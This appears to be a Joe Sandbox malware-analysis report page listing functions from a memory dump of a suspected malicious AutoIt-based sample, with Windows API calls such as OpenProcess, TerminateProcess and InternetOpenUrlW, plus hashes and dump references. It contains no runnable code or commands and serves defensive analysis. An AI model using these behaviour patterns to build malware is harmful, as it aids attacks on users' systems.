Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$EnterLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 1423608774-0
Opcode ID: 7fafe1ea5046aebcc6bd206dd61790ef0280a5a83e871b586b8352b98c247913
Instruction ID: e1debaafd1595c6d8d761445c84ee9bf2b793944eac16b3e6b0a8f4c685ab8d7
Opcode Fuzzy Hash: 7fafe1ea5046aebcc6bd206dd61790ef0280a5a83e871b586b8352b98c247913
Instruction Fuzzy Hash: 8A01A932141611EBD7252B64ED48DEB7765FF49703740463AF90392061CBFCAC05CB65

Function 00711867 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 00711898
MapVirtualKeyW.USER32(00000010,00000000), ref: 007118A0
MapVirtualKeyW.USER32(000000A0,00000000), ref: 007118AB
MapVirtualKeyW.USER32(000000A1,00000000), ref: 007118B6
MapVirtualKeyW.USER32(00000011,00000000), ref: 007118BE
MapVirtualKeyW.USER32(00000012,00000000), ref: 007118C6

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: bf0f7c0f2a9fb1198da46a456c28ffaec6130010a170a49affa465e2fd0b6af8
Instruction ID: 78c3826fad99a749cf3dd11a1be2efff2ed2ff1e950f7fb746807b0fbeb13a0e
Opcode Fuzzy Hash: bf0f7c0f2a9fb1198da46a456c28ffaec6130010a170a49affa465e2fd0b6af8
Instruction Fuzzy Hash: B10167B0902B5ABDE3008F6A8C85B52FFB8FF19394F04411BA15C47A42C7F5A864CBE5

Function 007584F4 Relevance: 9.0, APIs: 6, Instructions: 42windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00758504
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 0075851A
GetWindowThreadProcessId.USER32(?,?), ref: 00758529
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00758538
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00758542
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00758549

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: 0610b285fcf6b8c750a1cef779a93794fae7e9070b199ba4b599dc2213a95b3f
Instruction ID: d25318284645fbf05001c3bd6f7ac57775066b08910d0663ba71a08187c32ba2
Opcode Fuzzy Hash: 0610b285fcf6b8c750a1cef779a93794fae7e9070b199ba4b599dc2213a95b3f
Instruction Fuzzy Hash: BAF09033240158BBE73017529C0EEEF3A7CDFC6B51F00401AFA0192050E7A82E02C6B9

Function 0075A31D Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,?), ref: 0075A330
RtlEnterCriticalSection.NTDLL(?), ref: 0075A341
TerminateThread.KERNEL32(?,000001F6,?,?,?,007866D3,?,?,?,?,?,0071E681), ref: 0075A34E
WaitForSingleObject.KERNEL32(?,000003E8,?,?,?,007866D3,?,?,?,?,?,0071E681), ref: 0075A35B

Part of subcall function 00759CCE: CloseHandle.KERNEL32(?,?,0075A368,?,?,?,007866D3,?,?,?,?,?,0071E681), ref: 00759CD8

InterlockedExchange.KERNEL32(?,000001F6), ref: 0075A36E
RtlLeaveCriticalSection.NTDLL(?), ref: 0075A375

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: 70fab343d7761550fd0052defcd430fb1673c00aacf3ecc0b1074fc4efc7bce7
Instruction ID: 0b2147ad0d3b9e3b69198cf3d50a678910f124af81a9634699487507c5e391ae
Opcode Fuzzy Hash: 70fab343d7761550fd0052defcd430fb1673c00aacf3ecc0b1074fc4efc7bce7
Instruction Fuzzy Hash: 82F08232141211EBD3212B64ED4CDDB7B79FF8A302B404522F603910B1CBBD9D06CB65

Function 0071C320 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 259fileCOMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0071C419
ReadFile.KERNEL32(?,?,00010000,?,00000000,?,?,00000000,?,00756653,?,?,00000000), ref: 0071C495

Strings

Sfu, xrefs: 007848B8, 0078487C, 00784839

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: FileRead_memmove
String ID: Sfu
API String ID: 1325644223-2188574825
Opcode ID: 3f2f2c649033e477e65f87bbcd709c1477d9c8a537b58ddabb9cb76f78650312
Instruction ID: 740ce77ab0a46274373ff1090ea93d5453b91a182990227489ecc9619bde0d10
Opcode Fuzzy Hash: 3f2f2c649033e477e65f87bbcd709c1477d9c8a537b58ddabb9cb76f78650312
Instruction Fuzzy Hash: CCA1E030A44619EBDF01CFA9C885BADFBB0FF05300F14C199E8659B281D739E9A1DB91

Function 0072D7C7 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 250COMMON

Download Yara Rule

APIs

Part of subcall function 0073010A: std::exception::exception.LIBCMT ref: 0073013E
Part of subcall function 0073010A: __CxxThrowException@8.LIBCMT ref: 00730153

Part of subcall function 0071CAEE: _memmove.LIBCMT ref: 0071CB2F

Part of subcall function 0071BBD9: _memmove.LIBCMT ref: 0071BC33

__swprintf.LIBCMT ref: 0072D98F

Strings

\\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 0072D832

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: _memmove$Exception@8Throw__swprintfstd::exception::exception
String ID: \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs]
API String ID: 1943609520-557222456
Opcode ID: 5b1a436f337887739a68a6dad0290187d0f87e71b5ef378e4dda9203b1888003
Instruction ID: 73e30baac4b2b6f91771e918de04475e6962926da33bbbf7481dfbaeda10702e
Opcode Fuzzy Hash: 5b1a436f337887739a68a6dad0290187d0f87e71b5ef378e4dda9203b1888003
Instruction Fuzzy Hash: 65914A71108211DFC724FF28D889DAAB7A5FF85710F00495DF496972E2DB28EE45CB92

Function 0076B482 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 229COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 0076B4A8
CharUpperBuffW.USER32(?,?), ref: 0076B5B7
VariantClear.OLEAUT32(?), ref: 0076B73A

Part of subcall function 0075A6F6: VariantInit.OLEAUT32(00000000), ref: 0075A736
Part of subcall function 0075A6F6: VariantCopy.OLEAUT32(?,?), ref: 0075A73F
Part of subcall function 0075A6F6: VariantClear.OLEAUT32(?), ref: 0075A74B

Strings

Incorrect Parameter format, xrefs: 0076B4E0, 0076B6AD
AUTOIT.ERROR, xrefs: 0076B5BD

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4237274167-1221869570
Opcode ID: a6d57bbe2269df798be621e3ec52349b970f7bc46fed64b69517a3bd3ed93481
Instruction ID: 7229911d1ff4e72cda78ce8d78d3cd9dd209614ed4ec90e7563ea4b5d2abdaaf
Opcode Fuzzy Hash: a6d57bbe2269df798be621e3ec52349b970f7bc46fed64b69517a3bd3ed93481
Instruction Fuzzy Hash: A4913A74604301DFC710DF28C48599AB7E4AFC9714F14496DF88ADB3A2DB39E985CB92

Function 00755D65 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 180windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00713BCF: _wcscpy.LIBCMT ref: 00713BF2

_memset.LIBCMT ref: 00755E56
GetMenuItemInfoW.USER32(?), ref: 00755E85
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00755F31
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 00755F5B

Strings

0, xrefs: 00755E4E

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: ItemMenu$Info$Default_memset_wcscpy
String ID: 0
API String ID: 4152858687-4108050209
Opcode ID: 088802e31580665026315e73e9f3d487806f5df6b012fc2c75627d5b9bd41eec
Instruction ID: 07d16a05850150295c32692d109b4a2587a80d42629653b4752eb75b4827332b
Opcode Fuzzy Hash: 088802e31580665026315e73e9f3d487806f5df6b012fc2c75627d5b9bd41eec
Instruction Fuzzy Hash: 2B5125316187419BD7249B28C8A5AEBB7E4EF45321F08062DFC91D31E1DBBCCD498792

Function 00755A25 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 114windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00755A93
GetMenuItemInfoW.USER32 ref: 00755AAF
DeleteMenu.USER32(00000004,00000007,00000000), ref: 00755AF5
DeleteMenu.USER32(?,00000000,00000000,?,00000000,00000000,007D18F0,00000000), ref: 00755B3E

Strings

0, xrefs: 00755A8B

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: Menu$Delete$InfoItem_memset
String ID: 0
API String ID: 1173514356-4108050209
Opcode ID: 2fd4b29d4553cbdb381081f1e6f3619eab8355de3d442add7b3a1f4dccc40863
Instruction ID: 545f2037cf28133c3fff3a17cb86d1bf19932b1c044e289c9672f000569c6d1a
Opcode Fuzzy Hash: 2fd4b29d4553cbdb381081f1e6f3619eab8355de3d442add7b3a1f4dccc40863
Instruction Fuzzy Hash: 4741D2B1204741EFD720DF24C8A8B9AB7E4EF84315F14461DF855972D1D7B8E908CB62

Function 00770458 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 100COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,?,?), ref: 00770478

Part of subcall function 00717F40: _memmove.LIBCMT ref: 00717F8F

Part of subcall function 0071A2FB: _memmove.LIBCMT ref: 0071A33D

Strings

none, xrefs: 00770553
stdcall, xrefs: 007704FA
winapi, xrefs: 007704E9
cdecl, xrefs: 007704CF

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: _memmove$BuffCharLower
String ID: cdecl$none$stdcall$winapi
API String ID: 2411302734-567219261
Opcode ID: 63e948107078b82335725e0d7258c37dd876aa8a280ec146d373f5fdddeefa4a
Instruction ID: e0b749f0401b209c1628117a20799e4a751523e72a37214d66420fa5f8da82be
Opcode Fuzzy Hash: 63e948107078b82335725e0d7258c37dd876aa8a280ec146d373f5fdddeefa4a
Instruction Fuzzy Hash: 0A31CD7450061AEBCF04EF68C840EEEB3B5FF05350B108A29E826A72D1DB39E945CB80

Function 0074C600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 93windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0071CAEE: _memmove.LIBCMT ref: 0071CB2F

SendMessageW.USER32(?,00000188,00000000,00000000), ref: 0074C684
SendMessageW.USER32(?,0000018A,00000000,00000000), ref: 0074C697
SendMessageW.USER32(?,00000189,?,00000000), ref: 0074C6C7

Part of subcall function 00717E53: _memmove.LIBCMT ref: 00717EB9

Strings

ListBox, xrefs: 0074C643
ComboBox, xrefs: 0074C60B

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: MessageSend$_memmove
String ID: ComboBox$ListBox
API String ID: 458670788-1403004172
Opcode ID: 04b66d720f8d5d266a8b788d6911c684b3793fee632487dc30457a64508b52f3
Instruction ID: e9edcf0578033198e93a2883e3942f9726e7c00729c7f0663850e8cbc0921980
Opcode Fuzzy Hash: 04b66d720f8d5d266a8b788d6911c684b3793fee632487dc30457a64508b52f3
Instruction Fuzzy Hash: 26212371901108BEDB1AEBA8C88ADFFB7B8DF45350B11811AF422E31E1DB7C4D4AD660

Function 00764A41 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 85networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 00764A60
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00764A86
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 00764AB6
InternetCloseHandle.WININET(00000000), ref: 00764AFD

Part of subcall function 007656A9: GetLastError.KERNEL32(?,?,00764A2B,00000000,00000000,00000001), ref: 007656BE

Strings

, xrefs: 00764AAF

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: HttpInternet$CloseErrorHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 1951874230-3916222277
Opcode ID: c1c9499c24af68741c0dcd82b0cedd4d5666a4a8f79d54820bc0ed7992a307b9
Instruction ID: fcc8278c2cbb090eaaf8563c820949da9396158bb9618dc8228c8bbc8e354637
Opcode Fuzzy Hash: c1c9499c24af68741c0dcd82b0cedd4d5666a4a8f79d54820bc0ed7992a307b9
Instruction Fuzzy Hash: 812192B5540608BFEB11DFA4DC89EBB76ECEB48744F10801AF90696140EA689D059775

Function 00778EEF Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 0072C619: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 0072C657
Part of subcall function 0072C619: GetStockObject.GDI32(00000011), ref: 0072C66B
Part of subcall function 0072C619: SendMessageW.USER32(00000000,00000030,00000000), ref: 0072C675

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00778F69
LoadLibraryW.KERNEL32(?), ref: 00778F70
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00778F85
DestroyWindow.USER32(?), ref: 00778F8D

Strings

SysAnimate32, xrefs: 00778F44

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
String ID: SysAnimate32
API String ID: 4146253029-1011021900
Opcode ID: 9ac274636cae5ae04ce2c6543d53f8e6f6edf252fa1abd816699e5289fabdac1
Instruction ID: 699e5f2d311c8f6ee54430b267d2dc5615484e0f9b81a62fb67a53688be8510c
Opcode Fuzzy Hash: 9ac274636cae5ae04ce2c6543d53f8e6f6edf252fa1abd816699e5289fabdac1
Instruction Fuzzy Hash: C7219D71240205AFEF504F64DC48EBB37AAEB593A4F108629FA18D7190CB79DC519762

Function 0075E382 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 0075E392
GetVolumeInformationW.KERNEL32(?,?,00000104,?,00000000,00000000,00000000,00000000), ref: 0075E3E6
__swprintf.LIBCMT ref: 0075E3FF
SetErrorMode.KERNEL32(00000000,00000001,00000000,007ADBF0), ref: 0075E43D

Strings

%lu, xrefs: 0075E3F9

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

API ID: ErrorMode$InformationVolume__swprintf
String ID: %lu
API String ID: 3164766367-685833217
Opcode ID: efe76562a4e92f83352a7a45a4dfabb4e5dc102d9d26b3236370f4b4288b7923
Instruction ID: eb917efe094b02bd19e38f57332fc71514d2f5d5c70812c95e5378adfa29905c
Opcode Fuzzy Hash: efe76562a4e92f83352a7a45a4dfabb4e5dc102d9d26b3236370f4b4288b7923
Instruction Fuzzy Hash: C1216D75A40108EFCB10EFA4C889DEE77B9EF89711B108069F909D7291D675DE46CB60

Function 0074D7D6 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 67windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00717E53: _memmove.LIBCMT ref: 00717EB9

Part of subcall function 0074D623: SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 0074D640
Part of subcall function 0074D623: GetWindowThreadProcessId.USER32(?,00000000), ref: 0074D653
Part of subcall function 0074D623: GetCurrentThreadId.KERNEL32 ref: 0074D65A
Part of subcall function 0074D623: AttachThreadInput.USER32(00000000), ref: 0074D661

GetFocus.USER32 ref: 0074D7FB

Part of subcall function 0074D66C: GetParent.USER32(?), ref: 0074D67A

GetClassNameW.USER32(?,?,00000100), ref: 0074D844
EnumChildWindows.USER32(?,0074D8BA), ref: 0074D86C
__swprintf.LIBCMT ref: 0074D886

Strings

%s%d, xrefs: 0074D880

Memory Dump Source

Source File: 00000000.00000002.1691980696.0000000000711000.00000040.00000001.01000000.00000003.sdmp, Offset: 00710000, based on PE: true

Associated: 00000000.00000002.1691812162.0000000000710000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.00000000007DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691980696.0000000000845000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692107264.000000000084B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692122181.000000000084C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_710000_DOC092024-0431202229487.jbxd

Similarity

